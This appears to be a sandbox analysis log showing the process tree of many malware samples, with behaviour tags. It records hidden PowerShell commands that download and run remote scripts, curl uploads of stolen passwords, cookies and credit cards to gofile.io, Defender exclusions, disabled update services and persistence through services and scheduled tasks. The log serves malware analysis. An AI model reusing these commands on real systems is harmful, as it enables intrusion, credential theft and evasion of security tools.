C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File rs.ps14⤵
- Badlisted process makes network request
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps14⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gb3zripc\gb3zripc.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES462F.tmp" "c:\Users\Admin\AppData\Local\Temp\gb3zripc\CSCEAA553F272E549949ED6ECB4236DF45.TMP"6⤵
-
-
-
C:\Windows\system32\ipconfig.exe"C:\Windows\system32\ipconfig.exe"5⤵
- Gathers network information
-
-
C:\Windows\system32\quser.exe"C:\Windows\system32\quser.exe"5⤵
-
-
C:\Windows\system32\ROUTE.EXE"C:\Windows\system32\ROUTE.EXE" print5⤵
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a5⤵
- Network Service Discovery
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a5⤵
- Network Service Discovery
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a5⤵
- Network Service Discovery
-
-
C:\Windows\system32\ARP.EXE"C:\Windows\system32\ARP.EXE" -a5⤵
- Network Service Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\a\sh2.exe"sh2.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sh3.exe"sh3.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sh4.exe"sh4.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\sh5.exe"sh5.exe"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/pivot.ps1 -useb).ReadToEnd() | iex"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/worm.ps1 -useb).ReadToEnd() | iex"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/rubeuspivot.ps1 -useb).ReadToEnd() | iex"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/ztinstall.ps1 -useb).ReadToEnd() | iex"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/powerstealer.ps1 -useb).ReadToEnd() | iex"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/addadmins.ps1 -useb).ReadToEnd() | iex"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/shwatchdog.ps1 -useb).ReadToEnd() | iex"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/bombthreat.ps1 -useb).ReadToEnd() | iex"5⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "(iwr https://ed75a310.infinityindians.pages.dev/changewallpaper.ps1 -useb).ReadToEnd() | iex"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bexitor%20Installer.exeBexitor%20Installer.exe4⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps14⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0cvyq3so\0cvyq3so.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1797.tmp" "c:\Users\Admin\AppData\Local\Temp\0cvyq3so\CSC7FF8D19944ED4A58B0D2873F88683C58.TMP"6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSA908.tmp\Install.exe.\Install.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSA908.tmp\config.execonfig.exe /xLdidZijt "452799" /S6⤵
- Checks BIOS information in registry
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True" &7⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"8⤵
- Indirect Command Execution
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True10⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True11⤵
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True"8⤵
- Indirect Command Execution
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True10⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=dll Force=True11⤵
-
-
-
-
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"8⤵
- Indirect Command Execution
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True9⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True10⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True11⤵
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bdFUuWXJhGRaMzPmKB" /SC once /ST 00:31:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nnEaZCbtCuWmFnyZt\CDbnKvgFxZeNAdN\CQLYMgK.exe\" Ow /pFdidT 452799 /S" /V1 /F7⤵
- Drops file in Windows directory
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bdFUuWXJhGRaMzPmKB"7⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vnc.exevnc.exe4⤵
-
-
C:\Windows\regedit.exeregedit.exe /s aaa.reg4⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
- Runs .reg file with regedit
-
-
C:\Users\Admin\AppData\Local\Temp\a\c3756a729c074f17956a9e2eb2b1aa08_crypted_build.exec3756a729c074f17956a9e2eb2b1aa08_crypted_build.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\hide_exe.exehide_exe.exe4⤵
- Server Software Component: Terminal Services DLL
- Sets service image path in registry
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del C:\Users\Admin\AppData\Local\Temp\a\hide_exe.exe > nul5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\b5e36a1b20c5408f8914a406fc861d33_crypted_build.exeb5e36a1b20c5408f8914a406fc861d33_crypted_build.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\gimger.exegimger.exe4⤵
- Badlisted process makes network request
-
-
C:\Users\Admin\AppData\Local\Temp\a\YSdQm5F.exeYSdQm5F.exe4⤵
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe sfsd9898f98d9g898s9c9z9sd9f8s9f8w989393929f9s9df89sd9f89sd8f9.hta4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stein.ps14⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe user_c.vbs4⤵
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\guide.txt"5⤵
- Opens file in notepad (likely ransom note)
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Invoke-WebRequest -Uri 'http://8.217.152.225/Setup.msi' -OutFile 'C:\Users\Public\Setup.msi'"5⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe 1.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Auo1.exeAuo1.exe4⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\AI.exe"C:\Users\Admin\AppData\Local\Temp\a\AI.exe"5⤵
-
C:\Windows\SYSTEM32\mountvol.exe"mountvol" B: /s6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Advanced_4196.1.1150_INSTALL.exeAdvanced_4196.1.1150_INSTALL.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PPHBT.tmp\Advanced_4196.1.1150_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-PPHBT.tmp\Advanced_4196.1.1150_INSTALL.tmp" /SL5="$406F2,3395790,939008,C:\Users\Admin\AppData\Local\Temp\a\Advanced_4196.1.1150_INSTALL.exe"5⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\Advanced_4196.1.1150_INSTALL.exe"C:\Users\Admin\AppData\Local\Temp\a\Advanced_4196.1.1150_INSTALL.exe" /VERYSILENT /PASSWORD=5756080e-4da0-4143-8f3e-9ccc9c4c62576⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\is-7B1RU.tmp\Advanced_4196.1.1150_INSTALL.tmp"C:\Users\Admin\AppData\Local\Temp\is-7B1RU.tmp\Advanced_4196.1.1150_INSTALL.tmp" /SL5="$407C4,3395790,939008,C:\Users\Admin\AppData\Local\Temp\a\Advanced_4196.1.1150_INSTALL.exe" /VERYSILENT /PASSWORD=5756080e-4da0-4143-8f3e-9ccc9c4c62577⤵
-
C:\ProgramData\0d465fd5-96c7-4e18-98af-40149515257a\kxetray.exe"C:\ProgramData\0d465fd5-96c7-4e18-98af-40149515257a\kxetray.exe" -ScanType8⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\offlinepackv4.exeofflinepackv4.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\iopvb_x64.exeiopvb_x64.exe4⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Loader.exeLoader.exe4⤵
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\iopvb_x32.exeiopvb_x32.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ksv.exeksv.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\ksv.exeksv.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f7⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
-
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckbookmarks.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ogsdjCA.exeogsdjCA.exe4⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12132 -s 10885⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\mvc3.exemvc3.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\mvc3.exemvc3.exe5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "taskkill /im firefox.exe /t /f >nul 2>&1"6⤵
-
C:\Windows\system32\taskkill.exetaskkill /im firefox.exe /t /f7⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckpasswords.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcookies.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckcreditcards.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckautofill.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckhistory.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile"6⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\muckparsedcookies.txt" https://store4.gofile.io/uploadFile7⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ioc.exeioc.exe4⤵
- Adds Run key to start application
-
-
C:\Users\Admin\AppData\Local\Temp\a\lJ5IwxN.exelJ5IwxN.exe4⤵
- Checks processor information in registry
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi4⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\6904a6e81f0c5_crypted.exe6904a6e81f0c5_crypted.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 13736 -s 5326⤵
- Program crash
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe windowsformatxxxxxxxxxxxxxxx.hta4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\QpY4EJ4kPZpYPyf.comQpY4EJ4kPZpYPyf.com4⤵
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\QpY4EJ4kPZpYPyf.com"5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\QpY4EJ4kPZpYPyf.com"C:\Users\Admin\AppData\Local\Temp\a\QpY4EJ4kPZpYPyf.com"5⤵
- Accesses Microsoft Outlook profiles
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ClipAid-Pro.exeClipAid-Pro.exe4⤵
- Suspicious behavior: AddClipboardFormatListener
-
-
C:\Users\Admin\AppData\Local\Temp\a\rabert.exerabert.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ldplayer9_ld_407586_ld.exeldplayer9_ld_407586_ld.exe4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps14⤵
- Drops file in Windows directory
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i https://nodejs.org/dist/v18.20.5/node-v18.20.5-x64.msi /quiet /norestart5⤵
- Use of msiexec (install) with remote resource
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1BOi0tXTJJWgZS1BzlecvJPgUWQPYe3K.exe1BOi0tXTJJWgZS1BzlecvJPgUWQPYe3K.exe4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C net session5⤵
-
C:\Windows\system32\net.exenet session6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session7⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -Command Add-MpPreference -ExclusionPath 'C:\Users\'; Add-MpPreference -ExclusionPath 'C:\ProgramData\'; Add-MpPreference -ExclusionPath 'C:\Windows\'5⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\nonrendition.exenonrendition.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Minere.exeMinere.exe4⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force5⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart5⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart6⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits5⤵
- Launches sc.exe
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc5⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 05⤵
- Power Settings
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 05⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 05⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 05⤵
- Power Settings
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "Google"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "Google" binpath= "C:\ProgramData\Chrome\chrome_updater.exe" start= "auto"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog5⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "Google"5⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\a\Minere.exe"5⤵
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 36⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\x64-setup.exex64-setup.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NOTEPAD.exeNOTEPAD.exe4⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\a\NOTEPAD.exe"C:\Users\Admin\AppData\Local\Temp\a\NOTEPAD.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NOTEPAD.exe"C:\Users\Admin\AppData\Local\Temp\a\NOTEPAD.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\NOTEPAD.exe"C:\Users\Admin\AppData\Local\Temp\a\NOTEPAD.exe"5⤵
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "Adobe PDF" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\WindowsMD\Notepadbook.exe" /rl HIGHEST /f6⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WORDS.exeWORDS.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\a\WORDS.exe"C:\Users\Admin\AppData\Local\Temp\a\WORDS.exe"5⤵
- Drops startup file
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
- outlook_win_path
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\POWERPOINT.exePOWERPOINT.exe4⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\a\POWERPOINT.exe"C:\Users\Admin\AppData\Local\Temp\a\POWERPOINT.exe"5⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\xeno%20rat%20client.exexeno%20rat%20client.exe4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\VHVD9UGu8Er4rnQ.exeVHVD9UGu8Er4rnQ.exe4⤵
- Suspicious use of SetThreadContext
-
